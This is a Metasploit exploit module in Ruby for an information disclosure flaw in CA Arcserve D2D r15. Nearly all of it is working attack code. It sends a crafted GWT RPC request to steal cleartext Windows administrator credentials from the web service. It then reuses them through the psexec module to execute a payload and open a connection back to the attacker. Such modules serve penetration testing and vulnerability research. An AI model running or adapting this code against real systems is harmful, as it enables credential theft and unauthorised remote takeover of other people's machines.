CA Arcserve D2D GWT RPC Credential Information Disclosure

`##  
# $Id: ca_arcserve_rpc_authbypass.rb 13467 2011-08-01 21:20:29Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',  
'Description' => %q{  
This module exploits an information disclosure vulnerability in the CA Arcserve   
D2D r15 web server. The information disclosure can be triggered by sending a   
specially crafted RPC request to the homepage servlet. This causes CA Arcserve to  
disclosure the username and password in cleartext used for authentication. This  
username and password pair are Windows credentials with Administrator access.  
},  
'Author' =>  
[  
'bannedit', # metasploit module  
'rgod', # original public exploit  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13467 $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/17574/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0d\x0a",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DisclosureDate' => 'July 25 2011',  
'DefaultTarget' => 0))  
  
  
register_options(  
[  
Opt::RPORT(8014),  
], self.class )  
end  
  
def exploit  
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")  
  
data = "5|0|4|"  
data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"  
data << "/contents/"  
data << "|2C6B33BED38F825C48AE73C093241510|"  
data << "com.ca.arcflash.ui.client.homepage.HomepageService"  
data << "|getLocalHost|1|2|3|4|0|"  
  
cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"  
  
resp = send_request_raw({  
'uri' => '/contents/service/homepage',  
'version' => '1.1',  
'method' => 'POST',  
'cookie' => cookie,  
'data' => data,  
'headers' =>   
{  
'Content-Type' => "text/x-gwt-rpc; charset=utf-8",  
'Content-Length' => data.length  
}  
}, 5)  
  
resp = resp.to_s.split(',')  
user = resp[resp.index("\"user\"")+1].gsub(/\"/, "")  
pass = resp[resp.index("\"password\"")+1].gsub(/\"/, "")  
  
# report the auth  
auth = {  
:host => datastore['RHOST'],  
:port => datastore['RPORT'],  
:sname => 'ca.arcserver.d2d',  
:user => user,  
:pass => pass,  
:active => true  
}  
report_auth_info(auth)  
  
if user.nil? or pass.nil?  
print_error("Failed to collect the username and password")  
return  
end  
  
print_good("Collected credentials User: '#{user}' Password: '#{pass}'")  
  
# try psexec on the remote host  
psexec = framework.exploits.create("windows/smb/psexec")  
psexec.register_parent(self)  
  
psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']  
  
if self.datastore['LHOST'] and self.datastore['LPORT']  
psexec.datastore['LHOST'] = self.datastore['LHOST']  
psexec.datastore['LPORT'] = self.datastore['LPORT']  
end  
  
psexec.datastore['RHOST'] = self.datastore['RHOST']  
  
psexec.datastore['DisablePayloadHandler'] = true  
psexec.datastore['SMBPass'] = pass  
psexec.datastore['SMBUser'] = user  
  
print_status("Attempting to login via windows/smb/psexec")  
  
# this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)  
begin  
psexec.exploit_simple(  
'LocalInput' => self.user_input,  
'LocalOutput' => self.user_output,  
'Payload' => psexec.datastore['PAYLOAD'],  
'RunAsJob' => true  
)  
rescue  
print_status("Login attempt using windows/smb/psexec failed")  
print_status("Credentials have been stored and may be useful for authentication against other services.")  
return  
end  
  
handler  
end  
end  
`